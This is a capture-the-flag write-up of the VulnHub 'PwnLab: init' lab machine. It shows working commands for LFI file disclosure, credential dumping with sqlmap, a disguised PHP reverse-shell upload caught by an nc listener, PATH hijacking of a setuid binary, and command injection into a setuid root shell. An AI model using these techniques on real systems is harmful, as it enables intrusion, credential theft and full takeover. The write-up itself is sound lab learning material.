[VulnHub] PwnLab: Init

“Wellcome to \"PwnLab: init\”, my first Boot2Root virtual machine. Meant to be easy, I hope you enjoy it and maybe learn something. The purpose of this CTF is to get root and read de flag.“ – Claor

More information and OVA file download please check here.

Attacker & Target

Attacker: Kali2 Linux (10.1.1.132/24)

Target: PwnLab: init (10.1.1.140/24)

Vulnerability & Exploit

  • Local File Inclusion vulnerability
  • Dump DB tables and crack user credentials
  • Login and upload webshell/Reverse PHP Shell
  • Bypass File Extension limit
  • Exploit setuid sticky bit set file/program to privilege escape

Method

  • Scanned the network to discover the target server [arp-scan]
  • Port scanned the target to discover running services and open ports [masscan && nmap]
  • Web application scanned to dig more information about web service [nikto]
  • Local File Inclusion vulnerability found and exploited to discover MySQL login information
  • Login to MySQL DB and download user table to obtain user/pass
  • Login to Web application as privilege user and upload webshell/PHP reverse shell
  • Enumeration after get into the target server and escape to different users
  • Exploit setuid stikcy bit set program to get ROOT

Tools

All the tools used here can be found in Kali Linux

Walkthrough

Using arp-scan as routine to detect the target’s IP address.

1
2
3
4
5
6
7
8
9
10
root@kali:~# arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.1.1.1  00:50:56:c0:00:08   VMware, Inc.
10.1.1.2  00:50:56:f1:61:7e   VMware, Inc.
10.1.1.140    00:0c:29:11:ce:27   VMware, Inc.
10.1.1.254    00:50:56:ee:0a:4f   VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.312 seconds (110.73 hosts/sec). 4 responded

10.1.1.140 is our Target!

Then run masscan to detect opening ports on the target (masscan is much faster than nmap when doing a full ports scan, so here I use it to make a full scan and then use nmap to do a deep scan on target ports).

1
2
3
4
5
6
7
8
9
10
root@kali:~# masscan -p1-65535 10.1.1.140/32 --rate=10000

Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2016-08-22 13:17:05 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 111/tcp on 10.1.1.140
Discovered open port 3306/tcp on 10.1.1.140
Discovered open port 80/tcp on 10.1.1.140
Discovered open port 59968/tcp on 10.1.1.140
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
...truncated...
Nmap scan report for 10.1.1.140
Host is up (0.00028s latency).
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          35271/udp  status
|_  100024  1          59968/tcp  status
3306/tcp  open  mysql   MySQL 5.5.47-0+deb8u1
| mysql-info:
|   Protocol: 53
|   Version: .5.47-0+deb8u1
|   Thread ID: 38
|   Capabilities flags: 63487
|   Some Capabilities: ODBCClient, LongPassword, SupportsCompression, Speaks41ProtocolOld, InteractiveClient, SupportsLoadDataLocal, DontAllowDatabaseTableColumn, Speaks41ProtocolNew, ConnectWithDatabase, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, LongColumnFlag, FoundRows, SupportsTransactions, Support41Auth
|   Status: Autocommit
|_  Salt: &AVi2YKInpe-Lv1.3R&d
59968/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:11:CE:27 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
...truncated...

Based on the result of NMAP scan, firstly, I found port 80 and 3306 is open.

In the meanwhile, I run nikto to scan web vulnerabilities.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
- Nikto v2.1.6/2.1.5
+ Target Host: 10.1.1.140
+ Target Port: 80
+ GET The anti-clickjacking X-Frame-Options header is not present.
+ GET The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ GET IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: GET IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://127.0.1.1/images/".
+ SZYEPUYV Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ GET Cookie PHPSESSID created without the httponly flag
+ GET /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: GET /images/: Directory indexing found.
+ OSVDB-3268: GET /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ GET Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4 0x438c034968a80
+ OSVDB-3233: GET /icons/README: Apache default file found.
+ GET /login.php: Admin login page/section found.

From the nikto scan, I noticed that /login.php is found which could be the Admin login page, and /images/ directory indexing found, and last but not least, /config.php is found which may contain database IDs and passowrds.

Then I use firefox to open the target website and have a look around.

I was hanging on here for quite a while, after trying brute force the login, tring SQL injection and trying brute force directory but all failed… I finally found a LFI vulnerability on the page parameter.

by exploiting this LFI vulnerability and based on the previous Nickto scan result (config.php is found and may contain DB login):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@kali:~/myExercises/pwnlab_init# curl http://10.1.1.140/?page=php://filter/convert.base64-encode/resource=config
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+</center>
</body>
</html>root@kali:~/myExercises/pwnlab_init#
root@kali:~/myExercises/pwnlab_init# echo "PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+" | base64 --decode
<?php
$server     = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

Cool, now I got the database ROOT login (root/H4u%QJ_H99) and the DB name is Users, then I use sqlmap to check target DB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@kali:~/myExercises/pwnlab_init# sqlmap -d 'mysql://root:H4u%QJ_H99@10.1.1.140:3306/Users' --tables -D Users
         _
 ___ ___| |_____ ___ ___  {1.0.8.2#dev}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 20:02:54

[20:02:54] [INFO] connection to mysql server 10.1.1.140:3306 established
[20:02:54] [INFO] testing MySQL
[20:02:54] [INFO] resumed: [[u'1']]...
[20:02:54] [INFO] confirming MySQL
[20:02:54] [INFO] resumed: [[u'1']]...
[20:02:54] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[20:02:54] [INFO] fetching tables for database: 'Users'
Database: Users
[1 table]
+-------+
| users |
+-------+

[20:02:54] [INFO] connection to mysql server 10.1.1.140:3306 closed

[*] shutting down at 20:02:54

Got the table name is users, then dump the table:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
root@kali:~/myExercises/pwnlab_init# sqlmap -d 'mysql://root:H4u%QJ_H99@10.1.1.140:3306/Users' --dump -T users -D Users
         _
 ___ ___| |_____ ___ ___  {1.0.8.2#dev}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 20:03:23

[20:03:24] [INFO] connection to mysql server 10.1.1.140:3306 established
[20:03:24] [INFO] testing MySQL
[20:03:24] [INFO] resumed: [[u'1']]...
[20:03:24] [INFO] confirming MySQL
[20:03:24] [INFO] resumed: [[u'1']]...
[20:03:24] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[20:03:24] [INFO] fetching columns for table 'users' in database 'Users'
[20:03:24] [INFO] resumed: [[u'user', u'varchar(30)'], [u'pass', u'varchar(30)']]...
[20:03:24] [INFO] fetching entries for table 'users' in database 'Users'
[20:03:24] [INFO] analyzing table dump for possible password hashes
Database: Users
Table: users
[3 entries]
+------------------+--------+
| pass             | user   |
+------------------+--------+
| aVN2NVltMkdSbw== | kane   |
| Sld6WHVCSkpOeQ== | kent   |
| U0lmZHNURW42SQ== | mike   |
+------------------+--------+

[20:03:24] [INFO] table 'Users.users' dumped to CSV file '/root/.sqlmap/output/10.1.1.140/dump/Users/users.csv'
[20:03:24] [INFO] connection to mysql server 10.1.1.140:3306 closed

[*] shutting down at 20:03:24

Cool, here we go, got the username and password (base64 encoded), and the user/pass are:

1
2
3
kane / iSv5Ym2GRo
kent / JWzXuBJJNy
mike / SIfdsTEn6I

I also checked if I can write file via MySQL, but sounds like we don’t have enough privilege.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@kali:~/myExercises/pwnlab_init# sqlmap -d 'mysql://root:H4u%QJ_H99@10.1.1.140:3306/Users' --current-user --is-dba
         _
 ___ ___| |_____ ___ ___  {1.0.8.2#dev}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 22:37:40

[22:37:40] [INFO] connection to mysql server 10.1.1.140:3306 established
[22:37:40] [INFO] testing MySQL
[22:37:40] [INFO] resumed: [[u'1']]...
[22:37:40] [INFO] confirming MySQL
[22:37:40] [INFO] resumed: [[u'1']]...
[22:37:40] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[22:37:40] [INFO] fetching current user
current user:    'root@%'
[22:37:40] [INFO] testing if current user is DBA
[22:37:40] [INFO] fetching current user
[22:37:40] [WARNING] (remote) (_mysql_exceptions.OperationalError) (1142, "SELECT command denied to user 'root'@'10.1.1.132' for table 'user'")
current user is DBA:    False
[22:37:40] [INFO] connection to mysql server 10.1.1.140:3306 closed

[*] shutting down at 22:37:40

Due to the current user is not DBA, I could not write file via MySQL ROOT account.

After login as user kane, I’m trying to upload php reverse shell, but the web application only accept image files.

In order to bypass the file extention limit, I downloaded the file upload.php by using the previouse LFI exploition method.

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~/myExercises/pwnlab_init# curl http://10.1.1.140/?page=php://filter/convert.base64-encode/resource=upload
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7IGRpZSgnWW91IG11c3QgYmUgbG9nIGluLicpOyB9DQo/Pg0KPGh0bWw+DQoJPGJvZHk+DQoJCTxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQkJPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2ZpbGUnIGlkPSdmaWxlJyAvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJy8+DQoJCTwvZm9ybT4NCgk8L2JvZHk+DQo8L2h0bWw+DQo8P3BocCANCmlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKSB7DQoJaWYgKCRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA8PSAwKSB7DQoJCSRmaWxlbmFtZSAgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCgkJJGZpbGV0eXBlICA9ICRfRklMRVNbJ2ZpbGUnXVsndHlwZSddOw0KCQkkdXBsb2FkZGlyID0gJ3VwbG9hZC8nOw0KCQkkZmlsZV9leHQgID0gc3RycmNocigkZmlsZW5hbWUsICcuJyk7DQoJCSRpbWFnZWluZm8gPSBnZXRpbWFnZXNpemUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsNCgkJJHdoaXRlbGlzdCA9IGFycmF5KCIuanBnIiwiLmpwZWciLCIuZ2lmIiwiLnBuZyIpOyANCg0KCQlpZiAoIShpbl9hcnJheSgkZmlsZV9leHQsICR3aGl0ZWxpc3QpKSkgew0KCQkJZGllKCdOb3QgYWxsb3dlZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ubHkuJyk7DQoJCX0NCg0KCQlpZihzdHJwb3MoJGZpbGV0eXBlLCdpbWFnZScpID09PSBmYWxzZSkgew0KCQkJZGllKCdFcnJvciAwMDEnKTsNCgkJfQ0KDQoJCWlmKCRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvZ2lmJyAmJiAkaW1hZ2VpbmZvWydtaW1lJ10gIT0gJ2ltYWdlL2pwZWcnICYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvanBnJyYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvcG5nJykgew0KCQkJZGllKCdFcnJvciAwMDInKTsNCgkJfQ0KDQoJCWlmKHN1YnN0cl9jb3VudCgkZmlsZXR5cGUsICcvJyk+MSl7DQoJCQlkaWUoJ0Vycm9yIDAwMycpOw0KCQl9DQoNCgkJJHVwbG9hZGZpbGUgPSAkdXBsb2FkZGlyIC4gbWQ1KGJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZpbGVfZXh0Ow0KDQoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZmlsZSkpIHsNCgkJCWVjaG8gIjxpbWcgc3JjPVwiIi4kdXBsb2FkZmlsZS4iXCI+PGJyIC8+IjsNCgkJfSBlbHNlIHsNCgkJCWRpZSgnRXJyb3IgNCcpOw0KCQl9DQoJfQ0KfQ0KDQo/Pg==</center>
</body>

After decoded the base64 code, I got the following upload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
  <body>
      <form action='' method='post' enctype='multipart/form-data'>
          <input type='file' name='file' id='file' />
          <input type='submit' name='submit' value='Upload'/>
      </form>
  </body>
</html>
<?php
if(isset($_POST['submit'])) {
  if ($_FILES['file']['error'] <= 0) {
      $filename  = $_FILES['file']['name'];
      $filetype  = $_FILES['file']['type'];
      $uploaddir = 'upload/';
      $file_ext  = strrchr($filename, '.');
      $imageinfo = getimagesize($_FILES['file']['tmp_name']);
      $whitelist = array(".jpg",".jpeg",".gif",".png");

      if (!(in_array($file_ext, $whitelist))) {
          die('Not allowed extension, please upload images only.');
      }

      if(strpos($filetype,'image') === false) {
          die('Error 001');
      }

      if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
          die('Error 002');
      }

      if(substr_count($filetype, '/')>1){
          die('Error 003');
      }

      $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

      if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
          echo "<img src=\"".$uploadfile."\"><br />";
      } else {
          die('Error 4');
      }
  }
}

?>

Here, this ***.gif file is the php reverse shell.

Now the evil php has been uploaded and I have to find a way to trigger it. So I download the index.php to have a check.

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~/myExercises/pwnlab_init# curl http://10.1.1.140/?page=php://filter/convert.base64-encode/resource=index
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=</center>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
  include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
  if (isset($_GET['page']))
  {
      include($_GET['page'].".php");
  }
  else
  {
      echo "Use this server to upload and share image files inside the intranet";
  }
?>
</center>
</body>
</html>

From the source code of index.php, I noticed another one LFI vulnerability on set cookie header.

so in order to approve this LFI is working, I requested the index.php file and used burp proxy to modify Cookie header as follow:

1
2
3
4
5
6
7
8
GET /index.php HTTP/1.1
Host: 10.1.1.140
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: lang=../../../../../../../../../etc/passwd
Connection: close

The following response proved that the LFI vulnerability exists and works:

Now I set up NC to listen on port 443 and then trigger the shell to connect back.

Great! got in~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root@kali:~/myExercises/pwnlab_init# nc -lvnp 443
listening on [any] 443 ...
connect to [10.1.1.132] from (UNKNOWN) [10.1.1.140] 51503
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
 08:21:09 up 1 day, 23:06,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/
$ ls -al home
total 24
drwxr-xr-x  6 root root 4096 Mar 17 10:09 .
drwxr-xr-x 21 root root 4096 Mar 17 09:13 ..
drwxr-x---  2 john john 4096 Mar 17 09:57 john
drwxr-x---  2 kane kane 4096 Mar 17 13:04 kane
drwxr-x---  2 kent kent 4096 Mar 17 10:06 kent
drwxr-x---  2 mike mike 4096 Mar 17 15:19 mike
$ ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:11:ce:27
          inet addr:10.1.1.140  Bcast:10.1.1.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe11:ce27/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:150222 errors:0 dropped:0 overruns:0 frame:0
          TX packets:75016 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:11602121 (11.0 MiB)  TX bytes:8154028 (7.7 MiB)
          Interrupt:19 Base address:0x2000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:2 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:100 (100.0 B)  TX bytes:100 (100.0 B)

$ 

During the enumeration phase, I tried the user creditionals collected from the previouse steps:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
www-data@pwnlab:/tmp$ su mike
su mike
Password: SIfdsTEn6I

su: Authentication failure
www-data@pwnlab:/tmp$ su kent
su kent
Password: JWzXuBJJNy

kent@pwnlab:/tmp$ id
id
uid=1001(kent) gid=1001(kent) groups=1001(kent)
kent@pwnlab:/tmp$ cd /home/kent
cd /home/kent
kent@pwnlab:~$ ls -la
ls -la
total 20
drwxr-x--- 2 kent kent 4096 Mar 17 10:06 .
drwxr-xr-x 6 root root 4096 Mar 17 10:09 ..
-rw-r--r-- 1 kent kent  220 Mar 17 10:06 .bash_logout
-rw-r--r-- 1 kent kent 3515 Mar 17 10:06 .bashrc
-rw-r--r-- 1 kent kent  675 Mar 17 10:06 .profile
kent@pwnlab:~$ sudo -l
sudo -l
bash: sudo: command not found

kent@pwnlab:/$ su kane
su kane
Password: iSv5Ym2GRo

kane@pwnlab:/$ id
id
uid=1003(kane) gid=1003(kane) groups=1003(kane)
kane@pwnlab:/$ cd /home/kane
cd /home/kane
kane@pwnlab:~$ ls -la
ls -la
total 28
drwxr-x--- 2 kane kane 4096 Mar 17 13:04 .
drwxr-xr-x 6 root root 4096 Mar 17 10:09 ..
-rw-r--r-- 1 kane kane  220 Mar 17 10:09 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17 10:09 .bashrc
-rwsr-sr-x 1 mike mike 5148 Mar 17 13:04 msgmike
-rw-r--r-- 1 kane kane  675 Mar 17 10:09 .profile
kane@pwnlab:~$ 

Both kent and kane can be logged in successfully, but there is interesting file under kane’s home directory, msgmike which the setuid bit is set.

By running msgmike, I found it will call system commaned cat.

1
2
3
kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory

In order to escape to mike, I create a executable file cat under the local directory and set the environmental variable PATH to include .:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 
kane@pwnlab:~$ export PATH=.:$PATH
export PATH=.:$PATH
kane@pwnlab:~$ echo $PATH
echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
kane@pwnlab:~$ echo "/bin/bash" > cat
echo "/bin/bash" > cat
kane@pwnlab:~$ chmod +x cat
chmod +x cat
kane@pwnlab:~$ ls -la
ls -la
total 32
drwxr-x--- 2 kane kane 4096 Aug 24 08:49 .
drwxr-xr-x 6 root root 4096 Mar 17 10:09 ..
-rw-r--r-- 1 kane kane  220 Mar 17 10:09 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17 10:09 .bashrc
-rwxrwxrwx 1 kane kane   10 Aug 24 08:49 cat
-rwsr-sr-x 1 mike mike 5148 Mar 17 13:04 msgmike
-rw-r--r-- 1 kane kane  675 Mar 17 10:09 .profile

Then run the ./msgmike to escape to user mike:

1
2
3
4
5
6
kane@pwnlab:~$ ./msgmike
./msgmike
mike@pwnlab:~$ id
id
uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
mike@pwnlab:~$ 

After promoted to mike, I found another setuid bit set file msg2root:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mike@pwnlab:/home/mike$ ls -la
ls -la
total 28
drwxr-x--- 2 mike mike 4096 Mar 17 15:19 .
drwxr-xr-x 6 root root 4096 Mar 17 10:09 ..
-rw-r--r-- 1 mike mike  220 Mar 17 10:08 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17 10:08 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17 13:07 msg2root
-rw-r--r-- 1 mike mike  675 Mar 17 10:08 .profile
mike@pwnlab:/home/mike$ 
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: test; id
test; id
test
uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)
mike@pwnlab:/home/mike$ 

Also I noticed that command injection vulnerability exists.

Then I upload setuid.c file to target server and compile it.

1
2
3
4
5
6
7
8
9
10
root@kali:/var/www/html/privesc# cat setuid.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
 setuid(0);
 system( "/bin/sh -i" );
}

After compiled setuid.c and run it as injected command to get ROOT.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mike@pwnlab:/home/mike$ gcc -o setuid setuid.c
gcc -o setuid setuid.c
mike@pwnlab:/home/mike$ ls
ls
boot2root  msg2root  setuid  setuid.c
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: id; ./setuid
id; ./setuid
id
# id
id
uid=0(root) gid=1002(mike) egid=0(root) groups=0(root),1003(kane)
# 

Cool, got ROOT!!

Time to get FLAG!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# cd /root
cd /root
# ls -al
ls -al
total 20
drwx------  2 root root 4096 Mar 17 15:17 .
drwxr-xr-x 21 root root 4096 Mar 17 09:13 ..
lrwxrwxrwx  1 root root    9 Mar 17 10:06 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
----------  1 root root 1840 Mar 17 15:17 flag.txt
lrwxrwxrwx  1 root root    9 Mar 17 13:10 messages.txt -> /dev/null
lrwxrwxrwx  1 root root    9 Mar 17 13:10 .mysql_history -> /dev/null
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
# cat flag.txt
cat flag.txt
.-=~=-.                                                                 .-=~=-.
(__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)
(_ ___)  _____                             _                            (_ ___)
(__  _) /  __ \                           | |                           (__  _)
( _ __) | /  \/ ___  _ __   __ _ _ __ __ _| |_ ___                      ( _ __)
(__  _) | |    / _ \| '_ \ / _` | '__/ _` | __/ __|                     (__  _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \                     (_ ___)
(__  _)  \____/\___/|_| |_|\__, |_|  \__,_|\__|___/                     (__  _)
( _ __)                     __/ |                                       ( _ __)
(__  _)                    |___/                                        (__  _)
(__  _)                                                                 (__  _)
(_ ___) If  you are  reading this,  means  that you have  break 'init'  (_ ___)
( _ __) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( _ __)
(__  _) this challenge.                                                 (__  _)
(_ ___)                                                                 (_ ___)
( _ __) Please send me  your  feedback or your  writeup,  I will  love  ( _ __)
(__  _) reading it                                                      (__  _)
(__  _)                                                                 (__  _)
(__  _)                                             For sniferl4bs.com  (__  _)
( _ __)                                claor@PwnLab.net - @Chronicoder  ( _ __)
(__  _)                                                                 (__  _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-'                                                                 `-._.-'
# 
2016-08-29 20:46:38 +1000